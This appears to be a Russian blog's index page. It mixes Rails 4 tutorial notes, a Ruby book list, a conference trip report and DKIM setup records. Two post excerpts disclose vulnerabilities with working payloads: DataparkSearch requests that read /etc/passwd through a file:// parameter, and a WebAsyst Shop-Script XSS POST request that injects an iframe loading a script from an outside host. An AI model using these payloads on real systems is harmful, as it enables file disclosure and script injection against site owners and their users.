Rails 4 отличия от Rails 3 или заметки

Отичия учебника Rails 4.0
ruby.railstutorial.org/chapters/
от русского перевода Rails 3.2
railstutorial.ru/chapters/beginning

Манифест файл для app-specific CSS.
app/assets/stylesheets/application.css
Здесь
*= require_tree .
обеспечивает включение всех CSS файлов из директории app/assets/stylesheets (в том числе вложенные субдиректории) в CSS приложения. Строка
*= require_self
гарантирует что также будут включены CSS из файла application.css.

Начиная с Rails 3.1, существуют три каноничные директории для статических ассетов, каждая со своим собственным назначением:
app/assets: ассеты специфичные для данного приложения
lib/assets: ассеты для библиотек написанных вашей командой разработчиков
vendor/assets: ассеты сторонних поставщиков (програмного обеспечения)

Загрузка другой вьюхи в шаблон
<%= render 'layouts/header' %>

Генерация контролёра
rails generate controller Users new --no-test-framework

Генерация модели (контроллер Users, но модель User)
rails generate model User name:string email:string

“Любые модификации которые вы сделаете откатятся при выходе”, при работе в песочнице, консоль будет “откатывать” (то есть, отменять) любые изменения базы данных, созданные во время сеанса.
rails console --sandbox


Поиск объектов user Active Record

user = User.new(name: «Michael Hartl», email: «mhartl@example.com») — создать
User.create(name: «A Nother», email: «another@example.org») — создать
user.save
— сохранить
user.destroy
— удалить

User.find(1)
Здесь мы передали id пользователя в User.find; Active Record вернула пользователя с этим атрибутом id.

User.find_by_email(«mhartl@example.com»)
Метод find_by_email автоматически создается библиотекой Active Record на основе email атрибута в таблице users.

User.first
Естественно, first просто возвращает первого пользователя в базе данных.

User.all
all возвращает массив (Раздел 4.3.1) всех пользователей в базе данных.

Обновление

Обратите внимание: заключительный шаг необходим, для того чтобы записать изменения в базу данных. Мы можем увидеть, что произойдет без сохранения, используя reload, которая перезагружает объекты, опираясь на информацию в базе данных:
>> user.email
=> «mhartl@example.net»
>> user.email = «foo@bar.com»
=> «foo@bar.com»
>> user.reload.email
=> «mhartl@example.net»

Второй способ обновить атрибуты заключается в использовании update_attributes:
>> user.update_attributes(name: «The Dude», email: «dude@abides.org»)
=> true
>> user.name
=> «The Dude»
>> user.email
=> «dude@abides.org»
Update_attributes метод принимает хеш атрибутов и в случае успеха выполняет и обновление, и сохранение за один шаг (возвращающая true чтобы указать что сохранение произошло).

Заметим, что если любой из проверок не получится, например, когда требуется пароль, чтобы сохранить запись (как это реализовано в разделе 6.3 ), вызов update_attributes не удастся. Если нам нужно только обновить один атрибут, с помощью особой update_attribute обходит это ограничение:
user.update_attribute(:name, «The Dude»)
=> true
>> user.name
=> «The Dude»

Валидация

проверка на пустоту в модели
validates :name, presence: true
валидация на существование и длинны имени до 50 символов
validates :name, presence: true, length: { maximum: 50 }

VALID_EMAIL_REGEX = /\A[\w+\-.]+@[a-z\d\-.]+\.[a-z]+\z/i
validates :email, presence: true, format: { with: VALID_EMAIL_REGEX }

validates :email, presence: true, format: { with: VALID_EMAIL_REGEX },
uniqueness: { case_sensitive: false }
Использование validates :uniqueness не гарантирует уникальности.

Но что может может пойти не так? А вот что:
  1. Алиса регистрируется на сайте, с email адресом alice@wonderland.com.
  2. Алиса случайно кликает, “Submit” дважды, отправляя два запроса в быстрой последовательности.
  3. Затем происходит следующее: первый запрос создает пользователя в памяти, который проходит проверку, второй запрос делает то же самое, первый запрос пользователя сохраняется, второй запрос пользователя сохраняется.
  4. Результат: две пользовательские записи с одинаковыми адресами электронной почты, несмотря на валидацию уникальности.
К счастью, решение просто в реализации, нам просто необходимо обеспечить уникальность также на уровне базы данных

rails generate migration add_index_to_users_email
В отличие от миграции для пользователей, миграция уникальности электронной почты не предопределена, таким образом, мы должны заполнить ее содержание кодом из
Листинг
http://prntscr.com/27t59t
Миграция для реализации уникальности адреса электронной почты.
db/migrate/[timestamp]_add_index_to_users_email.rb
class AddIndexToUsersEmail < ActiveRecord::Migration
def change
add_index :users, :email, unique: true
end
end

Здесь используется Rails метод add_index для добавления индекса на столбце email таблицы users. Индекс сам по себе не обеспечивает уникальность, но это делает опция unique: true

Заключительный шаг должен мигрировать базу данных:
$ bundle exec rake db:migrate


добавление пароля:
rails generate migration add_password_digest_to_users password_digest:string
Мы можем выбрать любое название для миграции, но было бы удобно, если бы ее название заканчивалось на _to_users, поскольку в этом случае Rails автоматически построит миграцию для добавления столбцов к таблице users. Кроме того, включив второй аргумент, мы дали Rails достаточно информации для построения для нас всей миграци

Консоль


запуск консоли в тестовом режиме
rails console test

запуск сервера
rails server --environment production

миграция базы в продакшен
bundle exec rake db:migrate RAILS_ENV=production

Проверка параметров


ранее было attr_accessible
def create
@user = User.new(user_params)
if @user.save
# Handle a successful save.
else
render 'new'
end
end

private

def user_params
params.require(:user).permit(:name, :email, :password,
:password_confirmation)
end


def create
user = User.find_by_email(params[:session][:email].downcase)
if user && user.authenticate(params[:session][:password])
# Sign the user in and redirect to the user's show page.
else
flash[:error] = 'Invalid email/password combination' # Not quite right!
render 'new'
end
end
Проблема заключается в том, что содержимое флэша существует в течение одного запроса, но, в отличие от редиректа (перенаправления) который мы использовали в — повторный рендеринг шаблона с render не считается запросом. В результате флэш сообщение существует на один запрос дольше чем мы хотим. Например, если мы отправим невалидную информацию, флэш сообщение будет установлено и отображено на странице входа; если мы кликнем на другую страницу, такую как Home, что будет первым запросом после отправки формы, то флэш сообщение будет вновь отображено

Решение:
flash.now[:error] = 'Invalid email/password combination'
render 'new'
мы заменим flash на flash.now, который специально создан для отображения флэш сообщения на отрендеренных страницах; в отличие от содержимого flash, его содержимое исчезает сразу после дополнительного запроса.
Читать дальше

ruby on rails - книги 2013

Более новые книги с озона на верху

  1. Изучаем Ruby
  2. Learning Ruby
    1. www.ozon.ru/context/detail/id/20053276/
    2. Год выпуска: 2008
    3. Версия Ruby: 1.8.6
    4. Версия Rails:

  1. Ruby on Rails. Быстрая веб-разработка
  2. Ruby on Rails: Up and Running
    1. www.ozon.ru/context/detail/id/20053271/
    2. Год выпуска: 2008
    3. Версия Ruby:
    4. Версия Rails: 1.0

  1. Ruby на платформе Java
    1. www.ozon.ru/context/detail/id/6000964/
    2. Год выпуска:
    3. Версия Ruby:
    4. Версия Rails:

  1. Путь Rails. Подробное руководство по созданию приложений в среде Ruby on Rails
  2. The Rails Way
    1. www.ozon.ru/context/detail/id/4244230/
    2. Год выпуска: 2009
    3. Версия Ruby:
    4. Версия Rails: 1.2

  1. Rails. Сборник рецептов
  2. Rails Recipes
    1. www.ozon.ru/context/detail/id/3632386
    2. Год выпуска: 2008
    3. Версия Ruby:
    4. Версия Rails: 1.1

  1. Ruby on Rails
    1. www.ozon.ru/context/detail/id/8569023/
    2. Год выпуска: 2012
    3. Версия Ruby:
    4. Версия Rails:

  1. Программирование на языке RUBY
    1. Год выпуска: 2007
    2. Версия Ruby:
    3. Версия Rails:

  1. Ruby Developers Guide
    1. www.ozon.ru/context/detail/id/5367625/
    2. Год выпуска: 2010
    3. Версия Ruby:
    4. Версия Rails:

  1. Ruby Pocket Reference
    1. www.ozon.ru/context/detail/id/6086019/
    2. Год выпуска: 2007
    3. Версия Ruby:
    4. Версия Rails:

английские версии тоже надо будет составить в каталог
Читать дальше

История одной пятницы... в картинках

Всё началось с того, что захотелось найти XXE (XML eXternal Entity).
Атака заключается в том, что парсер небезопасно разрешает XML-сущности(entity) определённые клиентом. Данную уязвимость можно использовать как для XSS, чтения базы данных(SQL-inject), обхода аутентификации, чтения произвольных фаилов в системе(/etc/passwwd) или запрос внешнего ресурса по URI (протоколы ftp http https, функциями php и другими).

Пояснение:
символ (плюс) + в urlencode = %2B
символ (слеш) / в urlencode = %2F
символ (обратный слеш) \ в urlencode = %5C

Глаза пали на RSS. Открываем то, что генерирует XML:
Читать дальше

Поездка на ZeroNights 2012

ZeroNights 2012 Бабичев Игорь
Хотелось бы ответить сразу на вопросы какие мне очень часто задают:
Стоило ли ехать через пол страны в Москву чтобы побывать и просто послушать?
— Да стоило! И 7000 за вход на конференцию того стоило.
— Если бы она была в Питере, то поехал?
— Да! Все зовут побывать в Питере, да и как понял многие докладчики работают тоже в Питере.
— Ты ездил работу искать?
— Нет, просто пообщаться с людьми которые тебя понимают и знают гораздо больше.
— Что тебя дёрнуло туда ехать?
— Наверно, то что почти недотянул в 2011 году в победители на Месяц поиска уязвимостей Яндекса

Постораюсь о конференции расказать в кратце, больше уделять внимание на совсем другие вещи.
Читать дальше

Amazon SES и подтверждение DKIM в разных панелях управления

Amazon Simple Email ServicesВсё началось с того, что надо было подключить к Amazon Simple Email Service (Amazon SES) подпись DKIM. Но панель управления DNS отказалась проходить такую верификацию.

Amazon SES нам выдали записи для подтверждения владением доменом:
"Record name","Record type","Record Value"
52djzcnmdacecxkbgzwxsfxpmnhfa57k._domainkey.artemka45.ru","CNAME","52djzcnmdacecxkbgzwxsfxpmnhfa57k.dkim.amazonses.com
"mrxcednnqdhzyaf6725wxcnwdc3p7yaf._domainkey.artemka45.ru","CNAME","mrxcednnqdhzyaf6725wxcnwdc3p7yaf.dkim.amazonses.com"
"srmtzrxn7rr43o2erisj3jpqc3u4ej7b._domainkey.artemka45.ru","CNAME","srmtzrxn7rr43o2erisj3jpqc3u4ej7b.dkim.amazonses.com"


Подробности

DataparkSearch Engine, SQL injection, XSS, Cross Site Scripting, File Include

DataparkSearch
DataPark Search Engine

Все SQL-inject запросы надо кодировать в Urlencode ALL, иначе экранируются.

В фаиле storedoc.cgi

Чтение фаилов: /etc/passwd


в GET параметре DU чтение фаила file:///etc/passwd
/kurgan/cache?CS=UTF-8&CT=text/html&DM=Sat,%2017%20Mar%202012,%2006:59:51%20YEKT&DS=48515&DU=file%3a%2f%2f%2fetc%2fpasswd&L=tr&label=&q=1&rec_id=1332401146


/kurgan/cache?DU=file:///etc/passwd
/kurgan/cache?DU=file%3a%2f%2f%2fetc%2fpasswd



Blind SQL Injection
Читать дальше

WebAsyst Shop-Script v.307 XSS

ХSS происходит при передаче в параметр EMAIL — html-кода, где мы можем вызвать iframe с вредоносным скриптом.

WebAsyst Shop-Script

POST /published/forgot.php HTTP/1.1
Content-Length: 210
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=9bae5994ebe0dd6b6fe023506dde2c32; csd=5; cod=3.5.9
Host: SITE.ru
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*

C=&edited=1&enter=%d0%9e%d1%82%d0%bf%d1%80%d0%b0%d0%b2%d0%b8%d1%82%d1%8c&userdata%5bDB_KEY%5d=PROSTITUTKI&userdata%5bEMAIL%5d=%22%20><iframe src="http://himic.ru/xss.html"><div%20bad%3d%22&userdata%5bU_ID%5d=01%2f01%2f1967
Читать дальше

Гибкая разработка веб-приложений в среде Rails 4-е издание (2012)

Гибкая разработка веб-приложений в среде Rails 2012

Гибкая разработка веб-приложений в среде Rails 2012
Agile Web Development with Rails

Автор: С. Руби, Д. Томас, Д. Хэнссон

Языки: Русский

Издательство: Питер

Серия: Для профессионалов

ISBN 978-5-459-00312-3; 2012 г.
Дополнительные характеристики
Страниц
464 стр.
Формат
70x100/16 (167x236 мм)
Тираж
1000 экз.
Переплет
Мягкая обложка
Форматы книжных изданий

От производителя
Перед вами новое издание бестселлера «Agile web development with Rails», написанного Сэмом Руби — руководителем Apache Software Foundation и разработчиком формата Atom, Дэйвом Томасом — автором книги «Programming Ruby» и Дэвидом Хэнссоном — создателем технологии Rails.
Rails представляет собой среду, облегчающую разработку, развертывание и обслуживание веб-приложений. За время, прошедшее с момента ее первого релиза, Rails прошла путь от малоизвестной технологии до феномена мирового масштаба и стала именно той средой, которую выбирают, чтобы создавать так называемые «приложения Web 2.0».
Эта книга, уже давно ставшая настольной по изучению Ruby on Rails, предназначена для всех программистов, собирающихся создавать и развертывать современные веб-приложения. Из первой части книги вы получите начальное представление о языке Ruby и общие сведения о самой среде Rails. Далее на примере создания интернет-магазина вы изучите концепции, положенные в основу Rails. В третьей части рассматривается вся экосистема Rails: ее функции, возможности и дополнительные модули. Четвертое издание книги описывает работу с Rails 3.1 и Ruby 1.9.2.

Цена:
69900 руб.

Предосмотр PDF: static.ozone.ru/multimedia/book_file/1004378388.pdf

Купить: www.ozon.ru/context/detail/id/8153111/
Читать дальше